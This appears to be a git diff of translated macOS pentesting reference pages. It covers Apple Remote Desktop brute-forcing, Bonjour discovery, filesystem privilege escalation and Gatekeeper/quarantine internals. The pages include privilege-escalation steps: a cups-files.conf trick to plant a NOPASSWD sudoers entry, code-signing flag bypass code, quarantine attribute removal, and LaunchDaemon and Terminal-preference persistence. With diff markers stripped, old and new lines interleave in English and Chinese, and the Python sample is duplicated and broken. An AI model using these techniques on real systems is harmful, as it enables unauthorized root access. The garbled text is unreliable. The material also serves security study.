@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### Pentesting ARD
Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits.
Apple Remote Desktop (ARD) 是一个增强版的 [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing),专为 macOS 量身定制提供额外功能。ARD 中一个显著的漏洞是其控制屏幕密码的认证方法,仅使用密码的前 8 个字符,使其容易受到 [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) 的攻击,使用像 Hydra 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 这样的工具,因为没有默认的速率限制。
Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation.
To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command:
可以使用 **nmap**`vnc-info` 脚本识别易受攻击的实例。支持 `VNC Authentication (2)` 的服务由于 8 字符密码截断而特别容易受到暴力攻击。
要启用 ARD 进行各种管理任务如权限提升、GUI 访问或用户监控,请使用以下命令:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARD 提供多种控制级别,包括观察、共享控制和完全控制,且会话在用户密码更改后仍然持续。它允许直接发送 Unix 命令,并以 root 身份执行这些命令,适用于管理用户。任务调度和远程 Spotlight 搜索是显著特性,便于在多台机器上进行远程、低影响的敏感文件搜索。
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines.
## Bonjour 协议
## Bonjour Protocol
Bonjour 是一项由苹果设计的技术,允许 **同一网络上的设备检测彼此提供的服务**。也称为 Rendezvous、**零配置**或 Zeroconf它使设备能够加入 TCP/IP 网络,**自动选择 IP 地址**,并将其服务广播给其他网络设备。
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices.
Bonjour 提供的零配置网络确保设备可以:
Zero Configuration Networking, provided by Bonjour, ensures that devices can:
- **自动获取 IP 地址**,即使在没有 DHCP 服务器的情况下。
- 执行 **名称到地址的转换**,而无需 DNS 服务器。
- **发现**网络上可用的服务。
- **Automatically obtain an IP Address** even in the absence of a DHCP server.
- Perform **name-to-address translation** without requiring a DNS server.
- **Discover services** available on the network.
使用 Bonjour 的设备将从 **169.254/16 范围**中自我分配一个 IP 地址并验证其在网络上的唯一性。Mac 维护此子网的路由表条目,可以通过 `netstat -rn | grep 169` 验证。
Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`.
对于 DNSBonjour 利用 **多播 DNS (mDNS) 协议**。mDNS 在 **port 5353/UDP** 上运行,采用 **标准 DNS 查询**,但目标是 **多播地址 224.0.0.251**。这种方法确保网络上所有监听设备都能接收并响应查询,从而促进其记录的更新。
For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records.
加入网络后,每个设备自我选择一个名称,通常以 **.local** 结尾,该名称可能源自主机名或随机生成。
Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated.
网络内的服务发现由 **DNS 服务发现 (DNS-SD)** 促进。利用 DNS SRV 记录的格式DNS-SD 使用 **DNS PTR 记录** 来启用多个服务的列出。寻求特定服务的客户端将请求 `<Service>.<Domain>` 的 PTR 记录,如果该服务在多个主机上可用,则返回格式为 `<Instance>.<Service>.<Domain>` 的 PTR 记录列表。
Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `<Service>.<Domain>`, receiving in return a list of PTR records formatted as `<Instance>.<Service>.<Domain>` if the service is available from multiple hosts.
可以使用 `dns-sd` 工具来 **发现和广告网络服务**。以下是其用法的一些示例:
The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage:
### Searching for SSH Services
To search for SSH services on the network, the following command is used:
### 搜索 SSH 服务
要在网络上搜索 SSH 服务,可以使用以下命令:
```bash
dns-sd -B _ssh._tcp
```
此命令启动对 \_ssh.\_tcp 服务的浏览,并输出详细信息,如时间戳、标志、接口、域、服务类型和实例名称。
This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name.
### Advertising an HTTP Service
To advertise an HTTP service, you can use:
### 广播 HTTP 服务
要广播 HTTP 服务,您可以使用:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
此命令在端口 80 上注册一个名为 "Index" 的 HTTP 服务,路径为 `/index.html`
This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`.
To then search for HTTP services on the network:
然后在网络上搜索 HTTP 服务:
```bash
dns-sd -B _http._tcp
```
当服务启动时,它通过多播其存在向子网中的所有设备宣布其可用性。对这些服务感兴趣的设备无需发送请求,只需监听这些公告。
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements.
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
为了提供更友好的界面,可以在苹果应用商店中使用 **Discovery - DNS-SD Browser** 应用程序可视化您本地网络上提供的服务。
或者,可以编写自定义脚本使用 `python-zeroconf` 库浏览和发现服务。 [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) 脚本演示了如何为 `_http._tcp.local.` 服务创建服务浏览器,打印添加或移除的服务:
```python
from zeroconf import ServiceBrowser, Zeroconf
class MyListener:
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf()
listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
try:
input("Press enter to exit...\n\n")
input("Press enter to exit...\n\n")
finally:
zeroconf.close()
zeroconf.close()
```
### 禁用 Bonjour
### Disabling Bonjour
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
如果出于安全考虑或其他原因需要禁用 Bonjour可以使用以下命令将其关闭
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
## References
## 参考文献
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

View File

@ -7,8 +7,8 @@
**目录**中的权限:
- **读取** - 你可以 **枚举** 目录条目
- **写入** - 你可以 **删除/写入** 目录中的 **文件**,并且你可以 **删除空文件夹**
- 但**不能删除/修改非空文件夹**,除非你对其拥有写入权限。
- **写入** - 你可以 **删除/写入** **文件** 在目录中,并且你可以 **删除空文件夹**
- 但你 **不能删除/修改非空文件夹**,除非你对其拥有写入权限。
- 你 **不能修改文件夹的名称**,除非你拥有它。
- **执行** - 你被 **允许遍历** 目录 - 如果你没有这个权限,你无法访问其中的任何文件或任何子目录。
@ -17,23 +17,29 @@
**如何覆盖一个由 root 拥有的文件/文件夹**,但:
- 路径中的一个父 **目录所有者** 是用户
- 路径中的一个父 **目录所有者** 是具有 **写入访问** 的 **用户组**
- 路径中的一个父 **目录所有者**一个具有 **写入访问** 的 **用户组**
- 一个用户 **组****文件** 具有 **写入** 访问
在任何之前的组合中,攻击者可以 **注入** 一个 **符号/硬链接** 到预期路径以获得特权任意写入。
在任何之前的组合中,攻击者可以 **注入** 一个 **符号/硬链接** 到预期路径以获得特权任意写入。
### 文件夹 root R+X 特殊情况
如果在一个 **目录** 中有文件,**只有 root 拥有 R+X 访问权限**,那么这些文件对 **其他任何人** **不可访问**。因此,允许 **将一个用户可读的文件** 移动的漏洞,因该 **限制** 而无法读取,从这个文件夹 **到另一个文件夹**,可能被滥用以读取这些文件。
如果在一个 **目录** 中有文件,**只有 root 拥有 R+X 访问权限**,那么这些文件对 **其他任何人都不可访问**。因此,允许 **将一个用户可读的文件** 移动的漏洞,因该 **限制** 而无法读取,从这个文件夹 **到另一个文件夹**,可能被滥用以读取这些文件。
示例在:[https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
## 符号链接 / 硬链接
如果一个特权进程正在写入一个 **文件**,该文件可能被 **低特权用户控制**,或者可能是 **之前由低特权用户创建**。用户可以通过符号链接或硬链接 **指向另一个文件**,特权进程将写入该文件。
### 宽松的文件/文件夹
如果一个特权进程正在写入一个 **文件**,该文件可能被 **低特权用户控制**,或者可能是 **之前由低特权用户创建**。用户可以通过符号链接或硬链接 **指向另一个文件**,而特权进程将写入该文件。
查看其他部分,攻击者可能 **滥用任意写入以提升特权**
### 打开 `O_NOFOLLOW`
`open` 函数使用标志 `O_NOFOLLOW` 时,不会跟随最后路径组件中的符号链接,但会跟随路径的其余部分。防止在路径中跟随符号链接的正确方法是使用标志 `O_NOFOLLOW_ANY`
## .fileloc
具有 **`.fileloc`** 扩展名的文件可以指向其他应用程序或二进制文件,因此当它们被打开时,执行的将是该应用程序/二进制文件。\
@ -50,11 +56,15 @@
</dict>
</plist>
```
## 任意文件描述符
## 文件描述符
如果您可以让一个 **进程以高权限打开一个文件或文件夹**,您可以利用 **`crontab`** 以 **`EDITOR=exploit.py`** 打开 `/etc/sudoers.d` 中的一个文件,这样 `exploit.py` 将获得对 `/etc/sudoers` 中文件的文件描述符并加以利用。
### 泄漏 FD (没有 `O_CLOEXEC`)
例如: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
如果调用 `open` 时没有标志 `O_CLOEXEC`,文件描述符将被子进程继承。因此,如果一个特权进程打开一个特权文件并执行一个由攻击者控制的进程,攻击者将 **继承对特权文件的 FD**
如果你能让一个 **进程以高权限打开一个文件或文件夹**,你可以利用 **`crontab`** 在 `/etc/sudoers.d` 中打开一个文件,使用 **`EDITOR=exploit.py`**,这样 `exploit.py` 将获得对 `/etc/sudoers` 中文件的 FD 并加以利用。
例如: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098),代码: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
## 避免隔离 xattrs 技巧
@ -64,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable 标志
如果一个文件/文件夹具有此不可变属性,则无法在其上置 xattr。
如果一个文件/文件夹具有此不可变属性,则无法在其上置 xattr。
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -110,13 +120,13 @@ ls -le /tmp/test
```
### **com.apple.acl.text xattr + AppleDouble**
**AppleDouble** 文件格式复制一个文件及其 ACE。
**AppleDouble** 文件格式复制一个文件及其 ACEs
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此如果你将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
查看 [**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) 以获取更多信息。
要复制这,我们首先需要获取正确的 acl 字符串:
要复制这一点,我们首先需要获取正确的 acl 字符串:
```bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
@ -142,9 +152,30 @@ Not really needed but I leave it there just in case:
macos-xattr-acls-extra-stuff.md
{{#endref}}
## 绕过签名检查
### 绕过平台二进制检查
一些安全检查会检查二进制文件是否为 **平台二进制**,例如允许连接到 XPC 服务。然而,如在 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ 中所述,可以通过获取一个平台二进制(如 /bin/ls并通过 dyld 使用环境变量 `DYLD_INSERT_LIBRARIES` 注入漏洞来绕过此检查。
### 绕过标志 `CS_REQUIRE_LV``CS_FORCED_LV`
执行中的二进制文件可以修改其自身的标志,以通过如下代码绕过检查:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## 绕过代码签名
Bundles 包含文件 **`_CodeSignature/CodeResources`**,其中包含每个 **file****bundle** 中的 **hash**。请注意CodeResources 的 hash 也 **嵌入在可执行文件中**,因此我们也不能对其进行修改。
Bundles 包含文件 **`_CodeSignature/CodeResources`**该文件包含 **bundle** 中每个 **file** **hash**。请注意CodeResources 的 hash 也 **嵌入在可执行文件中**,因此我们也不能对其进行修改。
然而,有一些文件的签名不会被检查,这些文件在 plist 中具有 omit 键,例如:
```xml
@ -190,7 +221,7 @@ Bundles 包含文件 **`_CodeSignature/CodeResources`**,其中包含每个 **f
...
</dict>
```
可以通过命令行计算资源的签名:
可以通过命令行计算资源的签名,方法是
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
@ -230,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### 守护进程
编写一个任意的 **LaunchDaemon****`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**,其中 plist 执行一个任意脚本,如:
编写一个任意的 **LaunchDaemon**,如 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**,其中 plist 执行一个任意脚本,如:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -251,7 +282,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### Sudoers 文件
如果您具有 **任意写入** 权限,您可以在 **`/etc/sudoers.d/`** 文件夹内创建一个文件,从而授予自己 **sudo** 权限。
如果您具有 **任意写入** 权限,您可以在 **`/etc/sudoers.d/`** 文件夹中创建一个文件,授予自己 **sudo** 权限。
### PATH 文件
@ -259,9 +290,29 @@ hdiutil create -srcfolder justsome.app justsome.dmg
您还可以在 **`/etc/paths.d`** 中写入文件,以将新文件夹加载到 `PATH` 环境变量中。
## 以其他用户身份生成可写文件
### cups-files.conf
这将生成一个属于 root 的文件,该文件对我可写 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。这也可能作为特权提升工作:
此技术在 [this writeup](https://www.kandji.io/blog/macos-audit-story-part1) 中使用。
创建文件 `/etc/cups/cups-files.conf`,内容如下:
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
```
这将创建文件 `/etc/sudoers.d/lpe`,权限为 777。末尾的额外垃圾是为了触发错误日志的创建。
然后,在 `/etc/sudoers.d/lpe` 中写入所需的配置以提升权限,如 `%staff ALL=(ALL) NOPASSWD:ALL`
然后,再次修改文件 `/etc/cups/cups-files.conf`,指示 `LogFilePerm 700`,以便新的 sudoers 文件在调用 `cupsctl` 时变得有效。
### 沙箱逃逸
可以通过 FS 任意写入来逃逸 macOS 沙箱。有关一些示例,请查看页面 [macOS Auto Start](../../../../macos-auto-start-locations.md),但一个常见的例子是在 `~/Library/Preferences/com.apple.Terminal.plist` 中写入一个终端首选项文件,该文件在启动时执行一个命令,并使用 `open` 调用它。
## 生成可写文件作为其他用户
这将生成一个属于 root 的文件,我可以写入([**代码来自这里**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。这也可能作为权限提升有效:
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -373,7 +424,7 @@ return 0;
**macOS 受保护描述符** 是在 macOS 中引入的一项安全功能,旨在增强用户应用程序中 **文件描述符操作** 的安全性和可靠性。这些受保护的描述符提供了一种将特定限制或“保护”与文件描述符关联的方法,这些限制由内核强制执行。
此功能特别有助于防止某些类的安全漏洞,例如 **未经授权的文件访问****竞争条件**。这些漏洞发生在例如一个线程正在访问一个文件描述符,导致 **另一个脆弱线程对其的访问**,或者当一个文件描述符被 **继承** 给一个脆弱的子进程时。与此功能相关的一些函数包括:
此功能特别有助于防止某些类的安全漏洞,例如 **未经授权的文件访问****竞争条件**。这些漏洞发生在例如一个线程正在访问一个文件描述符,导致 **另一个脆弱线程对其的访问**,或者当一个文件描述符被 **继承** 给一个脆弱的子进程时。与此功能相关的一些函数包括:
- `guarded_open_np`: 以保护方式打开文件描述符
- `guarded_close_np`: 关闭它

View File

@ -2,17 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper** 是为 Mac 操作系统开发的安全功能,旨在确保用户 **仅运行受信任的软件**。它通过 **验证用户下载并尝试从 App Store 以外的来源打开的软件** 来实现,例如应用程序、插件或安装包。
**Gatekeeper** 是为 Mac 操作系统开发的安全功能,旨在确保用户 **仅运行受信任的软件**。它通过 **验证软件** 来实现,用户下载并尝试从 **App Store 以外的来源** 打开软件,例如应用程序、插件或安装包。
Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件是否 **由认可的开发者签名**,以确保软件的真实性。此外,它还确认该软件是否 **经过 Apple 的公证**,以确认其不含已知恶意内容,并且在公证后未被篡改。
Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件是否 **由认可的开发者签名**,以确保软件的真实性。此外,它还确认该软件是否 **经过 Apple 的公证**,以确认其不含已知恶意内容,并且在公证后未被篡改。
此外Gatekeeper 通过 **提示用户批准首次打开** 下载的软件来增强用户控制和安全性。此保护措施有助于防止用户无意中运行可能有害的可执行代码,这些代码可能被误认为是无害的数据文件。
此外Gatekeeper 通过 **提示用户批准首次打开** 下载的软件来增强用户控制和安全性。此保护措施有助于防止用户无意中运行可能有害的可执行代码,而将其误认为无害的数据文件。
### 应用程序签名
@ -20,17 +16,17 @@ Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件
其工作原理如下:
1. **签名应用程序:** 当开发者准备分发他们的应用程序时,他们 **使用私钥签名应用程序**。此私钥与 **Apple 在开发者注册 Apple Developer Program 时向开发者的证书** 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥加密此哈希。
1. **签名应用程序:** 当开发者准备分发应用程序时,他们 **使用私钥签名应用程序**。此私钥与 **Apple 在开发者注册 Apple Developer Program 时向开发者发的证书** 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥加密此哈希。
2. **分发应用程序:** 签名的应用程序随后与开发者的证书一起分发给用户,该证书包含相应的公钥。
3. **验证应用程序:** 当用户下载并尝试运行应用程序时,他们的 Mac 操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密后的哈希进行比较。如果它们匹配,则意味着 **自开发者签名以来,应用程序未被修改**,系统允许应用程序运行。
3. **验证应用程序:** 当用户下载并尝试运行应用程序时,他们的 Mac 操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密后的哈希进行比较。如果它们匹配,则意味着 **自开发者签名以来,应用程序未被修改**,系统允许应用程序运行。
应用程序签名是 Apple Gatekeeper 技术的重要组成部分。当用户尝试 **打开从互联网下载的应用程序**Gatekeeper 会验证应用程序签名。如果它是由 Apple 向已知开发者发的证书签名并且代码未被篡改Gatekeeper 允许应用程序运行。否则,它会阻止应用程序并提醒用户。
应用程序签名是 Apple Gatekeeper 技术的重要组成部分。当用户尝试 **打开从互联网下载的应用程序**Gatekeeper 会验证应用程序签名。如果它是由 Apple 向已知开发者发的证书签名并且代码未被篡改Gatekeeper 允许应用程序运行。否则,它会阻止应用程序并提醒用户。
从 macOS Catalina 开始,**Gatekeeper 还检查应用程序是否经过 Apple 的公证**,增加了一层额外的安全性。公证过程检查应用程序是否存在已知安全问题和恶意代码如果这些检查通过Apple 会向应用程序添加一个 Gatekeeper 可以验证的票据。
从 macOS Catalina 开始,**Gatekeeper 还检查应用程序是否经过 Apple 的公证**增加了一层额外的安全性。公证过程检查应用程序是否存在已知安全问题和恶意代码如果这些检查通过Apple 会向应用程序添加一个 Gatekeeper 可以验证的票据。
#### 检查签名
在检查某些 **恶意软件样本** 时,您应始终 **检查二进制文件的签名**,因为 **签名** **开发者** 可能已经 **与恶意软件相关**
在检查某些 **恶意软件样本** 时,您应始终 **检查二进制文件的签名**,因为 **签名****开发者** 可能已经 **与恶意软件相关**
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -49,18 +45,18 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
苹果的 notarization 过程作为额外的保护措施,旨在保护用户免受潜在有害软件的影响。它涉及 **开发者提交他们的应用程序进行审查**,由 **苹果的 Notary Service** 进行,这与应用审核不应混淆。该服务是一个 **自动化系统**,对提交的软件进行审查,以检查是否存在 **恶意内容** 和任何潜在的代码签名问题。
苹果的 notarization 过程作为额外的保护措施,旨在保护用户免受潜在有害软件的影响。它涉及 **开发者提交他们的应用程序进行审查**,由 **苹果的 Notary Service** 进行,这与应用审核不应混淆。该服务是一个 **自动化系统**,对提交的软件进行审查,以检查是否存在 **恶意内容** 以及代码签名的任何潜在问题。
如果软件 **通过** 了此检查而没有引发任何问题Notary Service 将生成一个 notarization ticket。开发者需要 **将此票据附加到他们的软件**这个过程称为“stapling”。此外notarization ticket 还会在线发布Gatekeeper苹果的安全技术可以访问它。
如果软件 **通过** 了此检查而没有引发任何问题Notary Service 将生成一个 notarization 票据。开发者需要 **将此票据附加到他们的软件**这个过程称为“stapling”。此外notarization 票据还会在线发布Gatekeeper苹果的安全技术可以访问它。
在用户首次安装或执行软件时notarization ticket 的存在 - 无论是附加在可执行文件上还是在线找到 - **通知 Gatekeeper 该软件已由苹果进行 notarization**。因此Gatekeeper 在初始启动对话框中显示描述性消息,指示该软件已通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件安全性的信心。
在用户首次安装或执行软件时notarization 票据的存在 - 无论是附加在可执行文件上还是在线找到 - **通知 Gatekeeper 该软件已由苹果进行 notarization**。因此Gatekeeper 在初始启动对话框中显示描述性消息,指示该软件已通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件安全性的信心。
### spctl & syspolicyd
> [!CAUTION]
> 请注意,从 Sequoia 版本开始,**`spctl`** 不再允许修改 Gatekeeper 配置。
**`spctl`** 是用于枚举和与 Gatekeeper 交互的 CLI 工具(通过 XPC 消息与 `syspolicyd` 守护进程交互)。例如,可以使用以下命令查看 GateKeeper 的 **状态**
**`spctl`** 是用于枚举和与 Gatekeeper 交互的 CLI 工具(通过 XPC 消息与 `syspolicyd` 守护进程进行交互)。例如,可以使用以下命令查看 GateKeeper 的 **状态**
```bash
# Check the status
spctl --status
@ -149,20 +145,20 @@ spctl --assess -v /Applications/App.app
### 隔离文件
**下载** 应用程序或文件时,特定的 macOS **应用程序**(如网页浏览器或电子邮件客户端)会为下载的文件 **附加一个扩展文件属性**,通常称为 "**隔离标志**"。属性作为安全措施,**标记文件** 来自不受信任的来源(互联网),并可能带来风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。
**下载** 应用程序或文件时,特定的 macOS **应用程序**(如网页浏览器或电子邮件客户端)会为下载的文件 **附加一个扩展文件属性**,通常称为 "**隔离标志**"。属性作为安全措施,**标记文件** 来自不受信任的来源(互联网),并可能带来风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。
**隔离标志的存在在用户尝试执行文件时会触发 macOS 的 Gatekeeper 安全功能**。
如果 **隔离标志不存在**(例如通过某些 BitTorrent 客户端下载的文件),则可能不会执行 Gatekeeper 的 **检查**。因此,用户在打开来自不太安全或未知来源的文件时应谨慎。
> [!NOTE] > **检查** 代码签名的 **有效性** 是一个 **资源密集型** 过程,包括生成代码及其所有捆绑资源的加密 **哈希**。此外,检查证书有效性还涉及对 Apple 服务器进行 **在线检查**,以查看其在发放后是否被撤销。因此,完整的代码签名和公证检查在每次启动应用时都是 **不切实际的**
> [!NOTE] > **检查** 代码签名的 **有效性** 是一个 **资源密集型** 过程,包括生成代码及其所有捆绑资源的加密 **哈希**。此外,检查证书有效性还涉及对 Apple 服务器进行 **在线检查**,以查看其在发放后是否被撤销。因此,完整的代码签名和公证检查在每次启动应用程序时都是 **不切实际的**
>
> 因此,这些检查 **仅在执行带有隔离属性的应用时运行**。
> 因此,这些检查 **仅在执行带有隔离属性的应用程序时运行**。
> [!WARNING]
> 此属性必须由 **创建/下载** 文件的应用程序 **设置**
>
> 然而,被沙盒化的文件将对它们创建的每个文件设置此属性。而非沙盒应用可以自行设置,或在 **Info.plist** 中指定 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) 键,这将使系统在创建的文件上设置 `com.apple.quarantine` 扩展属性。
> 然而,被沙盒化的文件将对它们创建的每个文件设置此属性。而非沙盒应用程序可以自行设置,或在 **Info.plist** 中指定 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) 键,这将使系统在创建的文件上设置 `com.apple.quarantine` 扩展属性。
此外,所有调用 **`qtn_proc_apply_to_self`** 的进程创建的文件都将被隔离。或者 API **`qtn_file_apply_to_path`** 会将隔离属性添加到指定的文件路径。
@ -285,7 +281,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
内核扩展仅通过 **系统上的内核缓存** 可用;然而,您 _可以_ 从 [**https://developer.apple.com/**](https://developer.apple.com/) 下载 **内核调试工具包**,其中将包含该扩展的符号化版本。
Kext 将通过 MACF 钩住多个调用,以捕获所有文件生命周期事件:创建、打开、重命名、硬链接... 甚至 `setxattr` 以防止其设置 `com.apple.quarantine` 扩展属性。
Kext 将通过 MACF 钩住多个调用,以捕获所有文件生命周期事件:创建、打开、重命名、硬链接... 甚至 `setxattr` 以防止其设置 `com.apple.quarantine` 扩展属性。
它还使用了一些 MIB
@ -298,13 +294,13 @@ XProtect 是 macOS 中内置的 **反恶意软件** 功能。XProtect **在应
XProtect 数据库由 Apple **定期更新** 新的恶意软件定义,这些更新会自动下载并安装到您的 Mac 上。这确保了 XProtect 始终与最新已知威胁保持同步。
然而,值得注意的是 **XProtect 不是一个功能齐全的防病毒解决方案**。它仅检查特定已知威胁列表,并不像大多数防病毒软件那样执行按需扫描。
然而,值得注意的是 **XProtect 不是一个功能齐全的防病毒解决方案**。它仅检查特定已知威胁列表,并不像大多数防病毒软件那样执行按需扫描。
您可以通过运行获取有关最新 XProtect 更新的信息:
```bash
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
```
XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在该 bundle 内可以找到 XProtect 使用的信息:
XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在该捆绑包中可以找到 XProtect 使用的信息:
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**:允许具有这些 cdhash 的代码使用遗留权限。
